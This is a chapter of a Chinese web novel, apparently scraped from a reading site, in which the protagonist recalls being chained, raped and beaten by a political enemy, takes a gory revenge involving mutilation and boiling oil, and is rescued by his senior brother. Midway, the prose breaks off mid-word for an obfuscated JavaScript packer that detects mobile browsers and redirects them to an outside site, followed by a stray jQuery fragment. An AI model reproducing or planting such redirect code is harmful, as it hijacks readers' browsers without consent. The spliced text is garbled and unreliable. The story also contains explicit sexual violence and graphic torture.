20.怎么是你?

作品:《正文HE后他想和离了

    『不单单是过去。』玲珑意晶莹眸光下闪烁着真诚与渴望,『你的过去、现在还有未来,有关你的一切,我都想知道。』


    真诚是最大的杀器。


    林云深确实被这股炽热灼伤了。


    他推开玲珑意,猛烈喘息着,逃也似的往密林深处奔去。


    每个人都有不好的过去,这没什么好遮掩的,但林云深不想告诉玲珑意。


    当然,师兄也是决然不知道的。


    当年,林云深被政敌设计陷害,再一次被赶出神都,复摔进尘埃里。


    他四处奔波逃命,只可惜世上再没有第二个方雅会收留他,也没有第二个上官若会保护他。


    路经一个叫十八湾的地方,林云深终于被人逮住。


    他被捉进山寨,起初倒是也『好吃好喝』被伺候着。


    朝堂上恨他入骨的政敌换了副面孔,为他斟茶倒酒,『云深,我是真的喜欢你,只要你肯跟我好,我今生今世都会珍惜你。』


    林云深大口喝酒、大块吃肉,吃得满嘴油花花的,不屑轻蔑哈哈笑:『怎么原来你的喜欢,就是到处找机会陷害我、污蔑我、伤害我周围的人,末了还把我抓进山匪窝么?我没猜错的话,这个窝就是你政绩的来源——养寇自重啊!』


    那人脸色一白,酒壶重重放在桌上,『林云深,你不要敬酒不吃吃罚酒!上官若已经被腰斩,你也失了职务,如今的你什么都没有了,也什么都不是!』


    林云深又撕下一条鸡腿,动作大了些,手腕上的铁锁链叮当作响,压出渗血的红痕,林云深便将小孩手臂粗的链条绕两圈放椅子上,减轻点重量,方便抬手吃鸡腿。


    那人又坐到林云深身旁座位,紧贴着、揽过他肩膀揉捏,


    柔情细语道:『云深,我决不是要威胁你,而是帮你看清事实,现在除了我,没人会帮你了,以后咱们都好好的,好不好?』


    林云深斜眼、冷哼,用力嚼几口鸡肉,吐出一块鸡皮,精准摊开在那人鼻尖,活像丑角那块白圆圈。


    滑稽极了!林云深捂着肚子,哈哈大笑。


    那人眼眶呲裂、青筋暴起,捻起鸡皮时脸颊横肉都在颤抖。他破口大骂扔掉鸡皮,站起身,抡起巴掌打上来,接着拽紧林云深脖子上的锁链,『林云深,你非要给脸不要脸是吧!』


    锁链缠绕令林云深喘不上气,几乎昏厥!


    这种昏厥让林云深想起曾经直面死亡的回忆,他挣扎着乱抓,声音因窒息而嘶哑断续:『好…我也…可以跟你好…只要你答应…我两个条件。』


    锁链松开,林云深趴在桌上喘气,吐出许多食物。


    咳嗽着擦掉嘴角酸水,林云深爬起来,坐回原位,掰开整只鸡,大口吃着。


    『你瞧你,永远这么淘气,非要我动了真格才肯乖乖听话。』那人又变回一腔柔情似水,爱怜地轻抚林云深眉尾刘海,慢慢向下,又滑过脸颊。『慢点吃,别噎着。』


    最后,林云深吃完一整只鸡,连带着酒壶里的酒全喝了,连最后几滴也不放过,对着壶嘴抖空了才罢休。


    『云深,你说你早这么听话答应我,我何苦还要给你绑上这些东西呢?快告诉我,是哪两个条件,只要我能做到,没有不答应的。』他急不可耐地拨拉林云深的领口。


    『那好。第一,杀了你那母家有权有势扶你上位的发妻;第二,杀了你那怀胎七月的小妾。』


    『你耍我?!』


    林云深笑:『对啊,我耍你。』


    又是一耳光!顺带踩着锁链把林云深带到地上!


    『林云深!别以为你是什么东西!你不过是一个被艹烂的贱货!我不嫌你脏你都该感恩戴德了!』


    那人将林云深拎起来按在桌上,咬牙切齿、五官变形:『上官若是怎么艹的你?你跟他睡了多少次?你不是喜欢他吗?没关系,那你就把我当成他吧!』他给林云深戴上红绸子,『遮住这双眼,谁上还不都一样?』


    ……


    『啊!云深!我从第一眼看到你就喜欢你了!可你眼里从来没有我,只有上官若,凭什么?!凭他长得比我好看?凭他身世比我高贵?哼,我也不输他!到头来,我不还是一样得到了你!啊~啊~啊~怎么样,我是不是比上官若厉害得多?』


    『你是个杂碎。』


    那人鼻孔吐气,又甩出一耳光。


    『贱货!你以为你还是高高在上的大理寺卿么?你以为还有上官若给你兜底么?他已经烧成灰了,没人会给你撑腰了!你要是愿意乖乖跟我好,我还能赏着你点,要不然,你就是条杂交的狗!』


    林云深吐掉血沫,『没关系。他死不死,你都是个杂碎。』


    『混账!来人!来人!把山寨里所有人都叫来!林云深,我倒要看看你的骨头有对硬!』


    ……


    后来,大火席卷整个山脉,林云深站在火光之中,他原本的衣服已碎成布条,那些肮脏之人的衣服则沾满血污。


    林云深扯了山寨大旗,裹在身上。


    他眼神坚毅而淡漠,漆黑瞳孔映着漫天火海。


    原本颐指气使的敌人被放在瓮中,舌头挖了,发不出声音,只一双眼睛惊恐地望着他,偏偏又是双绿豆大的猪眼睛,眨巴眨巴,牲口似的。


    林云深一勺勺煮沸的热油浇进瓮里。


    『这世上没有谁少了谁就活不下去。爹也好、娘也好、方雅也好、上官若也好,他们在不在都无所谓,我会给自己报仇。』他说着,将那人的四肢从地上捡起来,贴着瓮边塞进去。


    火舌窜高,他一步步推着瓮去往厨房。


    厨房里,还有许多同样的瓮。


    有的熟了,有的没有。


    哀嚎声湮没在火焰燃烧的黑雾之中。


    那场火烧了一天一夜,林云深静静看着。


    直到最后一丝火苗偃旗息鼓,


    林云深转过身,抿紧嘴唇,拄着木拐,背着干粮,


    朝着晨曦初现的方向走去。


    来日之路光明灿烂,


    他要活着,


    活得比任何人都好。


    在那之后,林云深拄着拐杖,在重峦叠嶂的山脉间逡巡。


    干粮很快吃完了,没关系,山里有很多野果子;


    渴了就找溪水,运气好还能抓到几条手指长的小鱼。


    可这山实在是太大太大了,他怎么也走不出去。


    全身莫名长了许多青紫硬块,慢慢流脓。


    有个脓包长在眼皮上,很快眼睛都睁不开了,林云深找到锋利的石片,割开眼皮上的肿包放血,这才重现光明。


    身体好烫,慢慢的,呼吸也不顺畅了。


    皮肤干燥而畏水,哪怕沾到一丁点水,都如刀割般疼痛。


    林云深不敢找溪水喝了,他也走不动了,只能趴着往前爬,靠着草叶上的露水活着。


    再这么下去会死的!


    他该尽快爬到一个有下坡的圆形缓坡,那里还有几块大石头。


    爬到那里,他就可以趴着等,等师兄带人经过。


    然后,有个女人会看到他,惊呼『怎么有个死人』!


    师兄则会上前查看,探他鼻息后会惊喜把他抱入怀中,温柔道:『不,他没有死,还有气,水呢?拿点水来给他喝。』


    接着他就会喝到全天下最好喝的水。


    可是,为什么这一次,他怎么都找不到那个圆形下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794929|154764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坡呢?


    林云深不断往前爬,天亮了又黑,黑了又亮,他没有力气了,才破晓的天幕,又一点点暗下去。


    嘈嘈切切的争吵声唤回林云深的意识,他睁不开眼,只能听到忽远忽近的声音。


    一个尖锐的男声说:『他吃了太多螟蛉果,毒已入肺腑,从皮肤上爆开,他身上的烂疮就是证据!而且,他连脸上都已满是烂疮,虽然活着,却已是死人了!』


    一个年轻的女音说:『就是啊,风师兄,你就让他烂在这里吧。』


    『什么叫烂在这里?!这是条命啊!』


    师兄的声音是那么好听、那么有辨识度。


    可林云深却从不记得,师兄还发过这么大的火呢。


    紧接着,一个好温暖好温暖的怀抱将林云深轻轻抱起,一双宽大而有力的手托起他的手指。


    『你们看,他指甲的月牙还是白的,能救。』


    一个敦实男音连连叹气:『不是不救,是没法救。咱们进山是为了抄近路报信,没带药。要给他疗伤,只能割血放毒,可他太虚弱,血放一半就要死,那还怎么救呢?』


    师兄沉默片刻,却一丝一毫也没有将他放下过,末了,师兄说:


    『这样,我先运功护住他的心脉,然后给他割血放毒,放到一半后停下,剩下的毒,我以内力引至自身体内,之后由我割血。这样就能救他啦!』


    一个中年男音顷刻反对:『起鹤,你太善良,这样不好。你根本就不知道他是谁,万一他是杀人放火的强盗呢?』


    师兄没有放弃,反而更紧地抱着他:『但他也有可能,是因苛捐杂税而逃入山的流民;也有可能是受匪类迫害、家破人亡的良民。既然是条命,那就该去救啊。』


    年轻女音布满无奈:『风师兄,你也太好了。可他根本还不起你的好。』


    是啊,师兄,你的好,我还不起。


    就把我丢在这里死掉吧。


    林云深挣扎着像睁开眼,看师兄最后一面,却怎么也睁不开。


    『为什么要还呢?』师兄的笑声好温柔,『我救他,是想让他活下去,有机会拥有更好的人生。而不是以此为报酬,让他将未来的人生抵押给我。』


    『小兄弟,你别怕,待会我们给你疗伤,可能有点疼,你先喝点水吧。』


    唇边递来清凉的水,本能驱使着林云深拼命吞咽。


    『别急、别急,还有很多呢,慢点喝。』


    不知喝了多少水,林云深的身体不再轻飘飘地腾云驾雾,反而坠到地面,有了真实的体感。


    山间的第一抹阳光透过树影,照在师兄脸上,林云深终于睁开眼,看到那双温柔美丽的眼睛。


    『小兄弟,你老看着我做什么?』


    『我从没喝过这样好喝的水……』


    林云深一头埋进那温暖的怀抱里,全身颤抖,声音止不住呜咽:『师兄,对不起,是我太坏了,我不该对你发脾气,也不该凶你,可我控制不住我自己,你别生气好不好?我再也不会了、再也不会了,你原谅我。』


    扑面而来的并非阳光下的炽热、温暖的布料和淡淡的花香,而是透着血腥的冰冷丝绸。


    林云深猛地一震,从梦中惊醒!


    眼前桌椅板凳,檀香静燃。


    哪里是什么山涧,分明是一间客栈!


    他抬头,看到玲珑意的那一瞬瞳孔收缩,用力推开:『怎么是你!』


    白瞎了他这几滴泪,要是师兄看到,说不定他们都和好了!


    惊讶的何止是林云深呢。


    就连玲珑意,也似笑非笑、哀也似的盯着手里的药碗,


    苦笑着说:『是啊,怎么是我呢?』